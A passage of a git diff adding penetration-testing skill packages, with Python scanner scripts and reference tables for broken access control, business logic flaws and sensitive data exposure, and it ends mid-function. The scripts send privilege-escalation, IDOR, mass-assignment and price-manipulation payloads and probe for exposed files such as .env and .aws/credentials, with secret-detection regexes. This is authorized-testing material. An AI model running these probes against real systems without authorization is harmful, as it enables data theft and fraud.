| +| 405 | Method not allowed | + +## OWASP References +- A01:2021 Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/ +- WSTG Access Control: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/ +- IDOR Testing: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References diff --git a/skills/testing-for-broken-access-control/scripts/agent.py b/skills/testing-for-broken-access-control/scripts/agent.py new file mode 100644 index 00000000..d5f3870e --- /dev/null +++ b/skills/testing-for-broken-access-control/scripts/agent.py @@ -0,0 +1,196 @@ +#!/usr/bin/env python3 +"""Agent for testing broken access control vulnerabilities during authorized assessments.""" + +import requests +import json +import sys +import argparse +import urllib3 +from datetime import datetime +from urllib.parse import urljoin + +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + + +def test_vertical_escalation(base_url, user_token, admin_endpoints): + """Test if a regular user can access admin endpoints.""" + print("\n[*] Testing vertical privilege escalation...") + findings = [] + headers = {"Authorization": f"Bearer {user_token}", "Content-Type": "application/json"} + methods = ["GET", "POST", "PUT", "DELETE"] + for endpoint in admin_endpoints: + for method in methods: + url = urljoin(base_url, endpoint) + try: + resp = requests.request(method, url, headers=headers, timeout=10, verify=False) + if resp.status_code in (200, 201, 204): + findings.append({ + "type": "VERTICAL_ESCALATION", "method": method, + "url": url, "status": resp.status_code, "severity": "CRITICAL", + }) + print(f" [!] VULNERABLE: {method} {endpoint} -> {resp.status_code}") + except requests.RequestException: + continue + print(f"[*] {len(findings)} vertical escalation findings") + return findings + + +def test_horizontal_escalation(base_url, user_token, resource_templates, other_user_ids): + """Test if a user can access another user's resources.""" + print("\n[*] Testing horizontal privilege escalation (IDOR)...") + findings = [] + headers = {"Authorization": f"Bearer {user_token}", "Content-Type": "application/json"} + for template in resource_templates: + for uid in other_user_ids: + url = urljoin(base_url, template.replace("{id}", str(uid))) + try: + resp = requests.get(url, headers=headers, timeout=10, verify=False) + if resp.status_code == 200 and len(resp.text) > 50: + findings.append({ + "type": "HORIZONTAL_ESCALATION", "url": url, + "user_id": uid, "status": resp.status_code, + "body_length": len(resp.text), "severity": "CRITICAL", + }) + print(f" [!] IDOR: GET {url} -> {resp.status_code} ({len(resp.text)} bytes)") + except requests.RequestException: + continue + print(f"[*] {len(findings)} horizontal escalation findings") + return findings + + +def test_method_override(base_url, user_token, endpoint): + """Test HTTP method override headers for access control bypass.""" + print(f"\n[*] Testing method override on {endpoint}...") + findings = [] + url = urljoin(base_url, endpoint) + headers = {"Authorization": f"Bearer {user_token}", "Content-Type": "application/json"} + override_headers = ["X-HTTP-Method-Override", "X-Method-Override", "X-HTTP-Method"] + for oh in override_headers: + for method in ["DELETE", "PUT", "PATCH"]: + test_headers = {**headers, oh: method} + try: + resp = requests.post(url, headers=test_headers, timeout=10, verify=False) + if resp.status_code in (200, 201, 204): + findings.append({ + "type": "METHOD_OVERRIDE_BYPASS", "url": url, + "override_header": oh, "method": method, + "status": resp.status_code, "severity": "HIGH", + }) + print(f" [!] {oh}: {method} -> {resp.status_code}") + except requests.RequestException: + continue + return findings + + +def test_unauthenticated_access(base_url, protected_endpoints): + """Test if protected endpoints are accessible without authentication.""" + print("\n[*] Testing unauthenticated access...") + findings = [] + for endpoint in protected_endpoints: + url = urljoin(base_url, endpoint) + try: + resp = requests.get(url, timeout=10, verify=False) + if resp.status_code == 200 and len(resp.text) > 50: + findings.append({ + "type": "UNAUTHENTICATED_ACCESS", "url": url, + "status": resp.status_code, "severity": "CRITICAL", + }) + print(f" [!] OPEN: GET {endpoint} -> {resp.status_code}") + except requests.RequestException: + continue + print(f"[*] {len(findings)} unauthenticated access findings") + return findings + + +def test_mass_assignment(base_url, user_token, profile_endpoint): + """Test if role/privilege fields can be modified via profile update.""" + print(f"\n[*] Testing mass assignment on {profile_endpoint}...") + findings = [] + url = urljoin(base_url, profile_endpoint) + headers = {"Authorization": f"Bearer {user_token}", "Content-Type": "application/json"} + payloads = [ + {"role": "admin"}, {"is_admin": True}, {"permissions": ["admin", "superuser"]}, + {"user_type": "administrator"}, {"access_level": 99}, + ] + for payload in payloads: + try: + resp = requests.put(url, headers=headers, json=payload, timeout=10, verify=False) + if resp.status_code in (200, 201): + field = list(payload.keys())[0] + resp_text = resp.text.lower() + if str(payload[field]).lower() in resp_text: + findings.append({ + "type": "MASS_ASSIGNMENT", "url": url, + "field": field, "value": payload[field], "severity": "CRITICAL", + }) + print(f" [!] VULNERABLE: {field}={payload[field]} accepted") + except requests.RequestException: + continue + return findings + + +def test_tenant_isolation(base_url, tenant_a_token, tenant_b_resources): + """Test cross-tenant data access.""" + print("\n[*] Testing tenant isolation...") + findings = [] + headers = {"Authorization": f"Bearer {tenant_a_token}", "Content-Type": "application/json"} + for resource in tenant_b_resources: + url = urljoin(base_url, resource) + try: + resp = requests.get(url, headers=headers, timeout=10, verify=False) + if resp.status_code == 200 and len(resp.text) > 50: + findings.append({ + "type": "TENANT_ISOLATION_BREACH", "url": url, + "status": resp.status_code, "severity": "CRITICAL", + }) + print(f" [!] CROSS-TENANT: {url} -> {resp.status_code}") + except requests.RequestException: + continue + return findings + + +def generate_report(findings, output_path): + """Generate access control assessment report.""" + report = { + "assessment_date": datetime.now().isoformat(), + "total_findings": len(findings), + "by_type": {}, + "by_severity": {}, + "findings": findings, + } + for f in findings: + t = f.get("type", "UNKNOWN") + s = f.get("severity", "INFO") + report["by_type"][t] = report["by_type"].get(t, 0) + 1 + report["by_severity"][s] = report["by_severity"].get(s, 0) + 1 + with open(output_path, "w") as fh: + json.dump(report, fh, indent=2) + print(f"\n[*] Report: {output_path} | Findings: {len(findings)}") + + +def main(): + parser = argparse.ArgumentParser(description="Broken Access Control Testing Agent") + parser.add_argument("base_url", help="Base URL of the target") + parser.add_argument("--user-token", help="Regular user's Bearer token") + parser.add_argument("--admin-endpoints", nargs="+", + default=["/admin/dashboard", "/admin/users", "/api/admin/settings"]) + parser.add_argument("--resource-templates", nargs="+", + default=["/api/users/{id}/profile", "/api/users/{id}/orders"]) + parser.add_argument("--other-ids", nargs="+", default=["2", "3", "100", "101"]) + parser.add_argument("-o", "--output", default="access_control_report.json") + args = parser.parse_args() + + print(f"[*] Broken Access Control Assessment: {args.base_url}") + findings = [] + findings.extend(test_unauthenticated_access(args.base_url, args.admin_endpoints)) + if args.user_token: + findings.extend(test_vertical_escalation(args.base_url, args.user_token, args.admin_endpoints)) + findings.extend(test_horizontal_escalation(args.base_url, args.user_token, + args.resource_templates, args.other_ids)) + findings.extend(test_method_override(args.base_url, args.user_token, args.admin_endpoints[0])) + findings.extend(test_mass_assignment(args.base_url, args.user_token, "/api/users/me")) + generate_report(findings, args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/testing-for-business-logic-vulnerabilities/LICENSE b/skills/testing-for-business-logic-vulnerabilities/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/testing-for-business-logic-vulnerabilities/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/testing-for-business-logic-vulnerabilities/references/api-reference.md b/skills/testing-for-business-logic-vulnerabilities/references/api-reference.md new file mode 100644 index 00000000..f99431fa --- /dev/null +++ b/skills/testing-for-business-logic-vulnerabilities/references/api-reference.md @@ -0,0 +1,56 @@ +# API Reference: Testing for Business Logic Vulnerabilities + +## requests Library + +### Concurrent Testing (Race Conditions) +```python +import threading + +def send_request(): + resp = requests.post(url, headers=headers, json=payload) + results.append(resp.status_code) + +threads = [threading.Thread(target=send_request) for _ in range(10)] +for t in threads: t.start() +for t in threads: t.join() +``` + +## Business Logic Test Categories + +### Price Manipulation Payloads +| Test | Payload | Expected | +|------|---------|----------| +| Negative quantity | `{"quantity": -1}` | Should reject | +| Zero price | `{"price": 0}` | Should reject | +| Float quantity | `{"quantity": 0.001}` | Should reject for physical goods | +| Integer overflow | `{"quantity": 2147483647}` | Should reject | +| Negative price | `{"price": -99.99}` | Should reject | + +### Workflow Bypass Tests +1. Skip email verification -> access dashboard +2. Skip payment -> confirm order +3. Skip MFA -> access protected resources +4. Repeat one-time steps (coupon, voucher) + +### Race Condition Targets +| Endpoint | Risk | +|----------|------| +| Coupon application | Applied multiple times | +| Balance transfer | Double spending | +| Reward claiming | Multiple claims | +| Inventory purchase | Overselling | + +### Referral/Reward Abuse +- Self-referral with own email +- Referral code reuse across accounts +- Coupon stacking (multiple codes) +- Earn points -> cancel order -> keep points + +## OWASP Category +- A04:2021 - Insecure Design +- Business logic flaws are not detectable by automated scanners + +## References +- OWASP Testing Business Logic: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/10-Business_Logic_Testing/ +- PortSwigger Business Logic: https://portswigger.net/web-security/logic-flaws +- requests docs: https://docs.python-requests.org/ diff --git a/skills/testing-for-business-logic-vulnerabilities/scripts/agent.py b/skills/testing-for-business-logic-vulnerabilities/scripts/agent.py new file mode 100644 index 00000000..14a189b1 --- /dev/null +++ b/skills/testing-for-business-logic-vulnerabilities/scripts/agent.py @@ -0,0 +1,210 @@ +#!/usr/bin/env python3 +"""Agent for testing business logic vulnerabilities during authorized assessments.""" + +import requests +import json +import sys +import argparse +import urllib3 +import threading +from datetime import datetime +from urllib.parse import urljoin + +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + + +def test_price_manipulation(base_url, token, cart_endpoint="/api/cart/add"): + """Test price and quantity manipulation in purchase flows.""" + print("\n[*] Testing price/quantity manipulation...") + findings = [] + headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} + url = urljoin(base_url, cart_endpoint) + test_cases = [ + {"name": "negative_quantity", "payload": {"product_id": 1, "quantity": -1}, "severity": "CRITICAL"}, + {"name": "zero_price", "payload": {"product_id": 1, "quantity": 1, "price": 0}, "severity": "CRITICAL"}, + {"name": "float_quantity", "payload": {"product_id": 1, "quantity": 0.001}, "severity": "HIGH"}, + {"name": "huge_quantity", "payload": {"product_id": 1, "quantity": 999999999}, "severity": "HIGH"}, + {"name": "negative_price", "payload": {"product_id": 1, "quantity": 1, "price": -99.99}, "severity": "CRITICAL"}, + ] + for tc in test_cases: + try: + resp = requests.post(url, headers=headers, json=tc["payload"], timeout=10, verify=False) + if resp.status_code in (200, 201): + findings.append({ + "type": "PRICE_MANIPULATION", "test": tc["name"], + "payload": tc["payload"], "status": resp.status_code, + "severity": tc["severity"], + }) + print(f" [!] {tc['name']}: Accepted (status {resp.status_code})") + else: + print(f" [+] {tc['name']}: Rejected (status {resp.status_code})") + except requests.RequestException as e: + print(f" [-] {tc['name']}: Error - {e}") + return findings + + +def test_checkout_total_override(base_url, token, checkout_endpoint="/api/checkout"): + """Test if the checkout total can be overridden in the request.""" + print("\n[*] Testing checkout total override...") + findings = [] + headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} + url = urljoin(base_url, checkout_endpoint) + payloads = [ + {"cart_id": "test", "total": 0.01, "payment_method": "card"}, + {"cart_id": "test", "total": 0, "payment_method": "card"}, + {"cart_id": "test", "amount": 0.01}, + ] + for payload in payloads: + try: + resp = requests.post(url, headers=headers, json=payload, timeout=10, verify=False) + if resp.status_code in (200, 201): + findings.append({ + "type": "TOTAL_OVERRIDE", "payload": payload, + "status": resp.status_code, "severity": "CRITICAL", + }) + print(f" [!] Checkout accepted with total={payload.get('total', payload.get('amount'))}") + except requests.RequestException: + continue + return findings + + +def test_coupon_reuse(base_url, token, coupon_endpoint="/api/cart/apply-coupon", code="DISCOUNT50"): + """Test if a coupon can be applied multiple times.""" + print(f"\n[*] Testing coupon reuse ({code})...") + findings = [] + headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} + url = urljoin(base_url, coupon_endpoint) + success_count = 0 + for i in range(5): + try: + resp = requests.post(url, headers=headers, json={"coupon_code": code}, + timeout=10, verify=False) + if resp.status_code in (200, 201): + success_count += 1 + except requests.RequestException: + break + if success_count > 1: + findings.append({ + "type": "COUPON_REUSE", "code": code, "times_applied": success_count, + "severity": "HIGH", + }) + print(f" [!] Coupon applied {success_count} times!") + else: + print(f" [+] Coupon properly limited") + return findings + + +def test_workflow_bypass(base_url, token, steps): + """Test if workflow steps can be skipped.""" + print("\n[*] Testing workflow step bypass...") + findings = [] + headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} + for step in steps: + url = urljoin(base_url, step["endpoint"]) + try: + resp = requests.request(step.get("method", "POST"), url, headers=headers, + json=step.get("payload", {}), timeout=10, verify=False) + if resp.status_code in (200, 201): + findings.append({ + "type": "WORKFLOW_BYPASS", "step": step["name"], + "endpoint": step["endpoint"], "status": resp.status_code, + "severity": "HIGH", + }) + print(f" [!] Step '{step['name']}' bypassed (status {resp.status_code})") + else: + print(f" [+] Step '{step['name']}' enforced (status {resp.status_code})") + except requests.RequestException: + continue + return findings + + +def test_race_condition(base_url, token, endpoint, payload, concurrent=10): + """Test for race conditions by sending concurrent requests.""" + print(f"\n[*] Testing race condition on {endpoint} ({concurrent} concurrent requests)...") + findings = [] + headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} + url = urljoin(base_url, endpoint) + results = [] + + def send_request(): + try: + resp = requests.post(url, headers=headers, json=payload, timeout=10, verify=False) + results.append({"status": resp.status_code, "body": resp.text[:200]}) + except requests.RequestException: + results.append({"status": 0, "body": "error"}) + + threads = [threading.Thread(target=send_request) for _ in range(concurrent)] + for t in threads: + t.start() + for t in threads: + t.join() + + successes = sum(1 for r in results if r["status"] in (200, 201)) + if successes > 1: + findings.append({ + "type": "RACE_CONDITION", "endpoint": endpoint, + "concurrent": concurrent, "successes": successes, "severity": "CRITICAL", + }) + print(f" [!] {successes}/{concurrent} requests succeeded (potential race condition)") + else: + print(f" [+] {successes}/{concurrent} succeeded (properly serialized)") + return findings + + +def test_self_referral(base_url, token, referral_endpoint="/api/referrals/invite", email="self@test.com"): + """Test if self-referral is possible.""" + print("\n[*] Testing self-referral...") + headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} + url = urljoin(base_url, referral_endpoint) + try: + resp = requests.post(url, headers=headers, json={"referral_email": email}, + timeout=10, verify=False) + if resp.status_code in (200, 201): + print(f" [!] Self-referral accepted") + return [{"type": "SELF_REFERRAL", "severity": "MEDIUM"}] + else: + print(f" [+] Self-referral blocked (status {resp.status_code})") + except requests.RequestException: + pass + return [] + + +def generate_report(findings, output_path): + """Generate business logic vulnerability report.""" + report = { + "assessment_date": datetime.now().isoformat(), + "total_findings": len(findings), + "by_type": {}, + "findings": findings, + } + for f in findings: + t = f.get("type", "UNKNOWN") + report["by_type"][t] = report["by_type"].get(t, 0) + 1 + with open(output_path, "w") as fh: + json.dump(report, fh, indent=2) + print(f"\n[*] Report: {output_path} | Findings: {len(findings)}") + + +def main(): + parser = argparse.ArgumentParser(description="Business Logic Vulnerability Testing Agent") + parser.add_argument("base_url", help="Base URL of the target application") + parser.add_argument("--token", required=True, help="Bearer token for authentication") + parser.add_argument("--cart-endpoint", default="/api/cart/add") + parser.add_argument("--checkout-endpoint", default="/api/checkout") + parser.add_argument("--coupon-code", default="DISCOUNT50") + parser.add_argument("-o", "--output", default="business_logic_report.json") + args = parser.parse_args() + + print(f"[*] Business Logic Vulnerability Assessment: {args.base_url}") + findings = [] + findings.extend(test_price_manipulation(args.base_url, args.token, args.cart_endpoint)) + findings.extend(test_checkout_total_override(args.base_url, args.token, args.checkout_endpoint)) + findings.extend(test_coupon_reuse(args.base_url, args.token, code=args.coupon_code)) + findings.extend(test_race_condition(args.base_url, args.token, + args.cart_endpoint, {"coupon_code": args.coupon_code})) + findings.extend(test_self_referral(args.base_url, args.token)) + generate_report(findings, args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/testing-for-email-header-injection/LICENSE b/skills/testing-for-email-header-injection/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/testing-for-email-header-injection/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/testing-for-host-header-injection/LICENSE b/skills/testing-for-host-header-injection/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/testing-for-host-header-injection/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/testing-for-json-web-token-vulnerabilities/LICENSE b/skills/testing-for-json-web-token-vulnerabilities/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/testing-for-json-web-token-vulnerabilities/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/testing-for-open-redirect-vulnerabilities/LICENSE b/skills/testing-for-open-redirect-vulnerabilities/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/testing-for-open-redirect-vulnerabilities/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/testing-for-sensitive-data-exposure/LICENSE b/skills/testing-for-sensitive-data-exposure/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/testing-for-sensitive-data-exposure/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/testing-for-sensitive-data-exposure/references/api-reference.md b/skills/testing-for-sensitive-data-exposure/references/api-reference.md new file mode 100644 index 00000000..f7c79397 --- /dev/null +++ b/skills/testing-for-sensitive-data-exposure/references/api-reference.md @@ -0,0 +1,50 @@ +# API Reference: Testing for Sensitive Data Exposure + +## requests Library + +### TLS Verification +```python +# Check HTTP to HTTPS redirect +resp = requests.get("http://target.com/", allow_redirects=False) + +# Check HSTS header +resp = requests.get("https://target.com/") +hsts = resp.headers.get("Strict-Transport-Security", "") +``` + +## Secret Detection Patterns +| Pattern | Regex | Example | +|---------|-------|---------| +| AWS Access Key | `AKIA[0-9A-Z]{16}` | AKIAIOSFODNN7EXAMPLE | +| Google API Key | `AIza[0-9A-Za-z\-_]{35}` | AIzaSyA... | +| Stripe Secret | `sk_live_[0-9a-zA-Z]{24,}` | sk_live_... | +| GitHub Token | `ghp_[a-zA-Z0-9]{36}` | ghp_xxxx... | +| Private Key | `-----BEGIN PRIVATE KEY-----` | PEM format | + +## Exposed File Checks +| File | Risk | +|------|------| +| `.env` | Environment variables with secrets | +| `.git/config` | Git configuration (may contain tokens) | +| `config.json` | Application configuration | +| `.aws/credentials` | AWS access keys | +| `phpinfo.php` | Server configuration disclosure | + +## Sensitive API Response Fields +Fields that should never appear in API responses: +- `password`, `password_hash`, `salt` +- `ssn`, `credit_card`, `cvv` +- `api_key`, `secret_key`, `private_key` +- `access_token`, `refresh_token` + +## Cache-Control for Sensitive Pages +``` +Cache-Control: no-store, no-cache, must-revalidate +Pragma: no-cache +``` + +## References +- OWASP A02:2021 Cryptographic Failures: https://owasp.org/Top10/A02_2021-Cryptographic_Failures/ +- OWASP Sensitive Data Exposure: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/ +- trufflehog: https://github.com/trufflesecurity/trufflehog +- gitleaks: https://github.com/gitleaks/gitleaks diff --git a/skills/testing-for-sensitive-data-exposure/scripts/agent.py b/skills/testing-for-sensitive-data-exposure/scripts/agent.py new file mode 100644 index 00000000..953e6df3 --- /dev/null +++ b/skills/testing-for-sensitive-data-exposure/scripts/agent.py @@ -0,0 +1,237 @@ +#!/usr/bin/env python3 +"""Agent for testing sensitive data exposure vulnerabilities during authorized assessments.""" + +import requests +import re +import json +import sys +import argparse +import urllib3 +from datetime import datetime +from urllib.parse import urljoin + +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +SECRET_PATTERNS = { + "AWS Access Key": r"AKIA[0-9A-Z]{16}", + "AWS Secret Key": r"(?i)aws(.{0,20})?(?-i)['\"][0-9a-zA-Z/+]{40}['\"]", + "Google API Key": r"AIza[0-9A-Za-z\-_]{35}", + "Stripe Secret": r"sk_live_[0-9a-zA-Z]{24,}", + "GitHub Token": r"ghp_[a-zA-Z0-9]{36}", + "Slack Token": r"xox[bpsa]-[0-9a-zA-Z\-]{10,}", + "Private Key": r"-----BEGIN (RSA |EC )?PRIVATE KEY-----", + "Generic Secret": r"(?i)(password|secret|api_key|apikey|token)\s*[=:]\s*['\"][^'\"]{8,}['\"]", +} + +SENSITIVE_FIELDS = [ + "password", "password_hash", "salt", "ssn", "social_security", + "credit_card", "card_number", "cvv", "secret_key", "api_key", + "private_key", "token", "access_token", "refresh_token", +] + + +def scan_javascript_files(base_url): + """Download and scan JavaScript files for hardcoded secrets.""" + print("\n[*] Scanning JavaScript files for secrets...") + findings = [] + try: + resp = requests.get(base_url, timeout=15, verify=False) + js_urls = re.findall(r'src=["\']([^"\']*\.js[^"\']*)["\']', resp.text) + for js_path in js_urls[:20]: + if js_path.startswith("//"): + js_url = "https:" + js_path + elif js_path.startswith("/"): + js_url = urljoin(base_url, js_path) + elif js_path.startswith("http"): + js_url = js_path + else: + js_url = urljoin(base_url, js_path) + try: + js_resp = requests.get(js_url, timeout=15, verify=False) + for name, pattern in SECRET_PATTERNS.items(): + matches = re.findall(pattern, js_resp.text) + if matches: + findings.append({ + "type": "SECRET_IN_JS", "file": js_url, + "pattern": name, "count": len(matches), "severity": "HIGH", + }) + print(f" [!] {name} found in {js_path} ({len(matches)} matches)") + except requests.RequestException: + continue + except requests.RequestException as e: + print(f" [-] Error: {e}") + return findings + + +def check_config_files(base_url): + """Check for exposed configuration files.""" + print("\n[*] Checking for exposed configuration files...") + findings = [] + config_files = [ + ".env", ".env.local", ".env.production", "config.json", "settings.json", + ".aws/credentials", ".docker/config.json", "wp-config.php", + ".git/config", ".git/HEAD", "composer.json", "package.json", + ".htaccess", "web.config", "phpinfo.php", + ] + for cf in config_files: + url = urljoin(base_url, cf) + try: + resp = requests.get(url, timeout=5, verify=False) + if resp.status_code == 200 and len(resp.text) > 10: + content_type = resp.headers.get("Content-Type", "") + if "text/html" not in content_type or cf.endswith((".json", ".php")): + findings.append({ + "type": "EXPOSED_CONFIG", "file": cf, "url": url, + "size": len(resp.text), "severity": "CRITICAL", + }) + print(f" [!] FOUND: {cf} ({len(resp.text)} bytes)") + except requests.RequestException: + continue + return findings + + +def check_api_data_exposure(base_url, token, endpoints): + """Check API responses for excessive sensitive data.""" + print("\n[*] Checking API responses for sensitive data exposure...") + findings = [] + headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} + for endpoint in endpoints: + url = urljoin(base_url, endpoint) + try: + resp = requests.get(url, headers=headers, timeout=10, verify=False) + if resp.status_code == 200: + data_str = resp.text.lower() + exposed = [f for f in SENSITIVE_FIELDS if f in data_str] + if exposed: + findings.append({ + "type": "API_DATA_EXPOSURE", "endpoint": endpoint, + "exposed_fields": exposed, "severity": "HIGH", + }) + print(f" [!] {endpoint}: Exposes {exposed}") + except requests.RequestException: + continue + return findings + + +def check_security_headers(base_url, sensitive_endpoints): + """Check Cache-Control and security headers on sensitive pages.""" + print("\n[*] Checking cache headers on sensitive endpoints...") + findings = [] + for endpoint in sensitive_endpoints: + url = urljoin(base_url, endpoint) + try: + resp = requests.get(url, timeout=10, verify=False) + cache_control = resp.headers.get("Cache-Control", "") + if "no-store" not in cache_control and resp.status_code == 200: + findings.append({ + "type": "MISSING_NO_STORE", "endpoint": endpoint, + "cache_control": cache_control, "severity": "MEDIUM", + }) + print(f" [!] {endpoint}: Missing no-store (Cache-Control: {cache_control})") + except requests.RequestException: + continue + return findings + + +def check_tls_config(host): + """Basic TLS configuration check.""" + print(f"\n[*] Checking TLS on {host}...") + findings = [] + try: + resp = requests.get(f"http://{host}/", timeout=5, allow_redirects=False, verify=False) + if resp.status_code not in (301, 302, 307, 308): 